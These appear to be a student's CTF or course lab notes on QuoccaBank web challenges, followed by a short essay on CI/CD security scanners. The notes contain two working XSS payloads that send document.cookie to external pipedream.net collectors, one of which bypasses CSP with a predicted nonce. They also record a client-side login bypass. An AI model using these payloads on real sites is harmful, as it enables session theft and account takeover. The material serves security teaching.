Writeups

whereami

flag 1
base64 encoded cookie with flag

flag 2
robots.txt flag

flag 3
get request to test.php has with the post parameters say u do not have admin privilleges
there is a set cookie user=Guest71940 probably need to change to admin
cannot get admin :'(

xss secure search today

`<svg onload=fetch(`https://ene2eijtmq3yk.x.pipedream.net/${document.cookie}`)></svg>`

Secure research

nonce is base64 encoded and incrementing by 2
but by the time the admin executes it will be incremented by 4
payload:

`<script nonce="MTAwMDI4">fetch(`https://enfweu6ggevlu.x.pipedream.net/${document.cookie}`)</script>`

QOS flag 1

homepage qos.js flag in comments

QOS flag 2

/debug/pprof
cookie = 1

QOS flag maybe?

login password is md5 decrypt of this
8f60992665ca6329da8bb3422b576de0

QOS flag 3

bypassed the login functionality by going into qos.js
and setting a="8f60992665ca6329da8bb3422b576de0" bypassing the MD5 hashing

NOTES

QOS interesting endpoints
wss://qos-tictactoe.quoccabank.com/ws
https://qos-handbook.quoccabank.com/?query=
com.quoccabank.qos.launchpado

/rpc/qos.QuoccaOS/GetUsername
after intercepting get request in / route
have a post request with body AAAAAAA

and response is:
b64 encoded:
.....

Zhilin Xie.....grpc-status: 0

/rpc/qos.QuoccaOS/Login

for login
Im thinking the md5 hash has to match this:
8f60992665ca6329da8bb3422b576de0

Question 5

a)
The security checks you would put into the CI/CD pipelines include static code analysis checks where you would have a scanner that would scan the code for common vulnerabilities such as common unsafe practices, like having hardcoded passwords, secret keys and like unsafe xss/sql practices can also be caught using scanners that utilise regex.
Other scanners you would include in pipeline are dependency scanners, which checks all dependencies and versions against the published CVEs.
Furthermore, there could be some specialised scanners which could identify all sources, sinks and taints and highlights the sources i.e. untruster user input and display show the results to the developers.

b)
Whilst the unsafe practices checks are there to prevent against naiive mistakes which rarely provide false positives, the other scanners such as ones in which can flag potential security vulnerabilities because there is user input may end up giving a lot of false positives because it is very difficult for them to check whether or not the input can actually be tainted or not, but it will just flag it for the developers to manually test, for apps where the user is constantly providing input, these scanners could potentially give alot of false positives.
Scanners in general will also miss alot of vulnerabilities, even ones in which compare against the CVE database does not protect the application from zero day vulnerabilites, therefore all these scanners may produce alot of false negatives.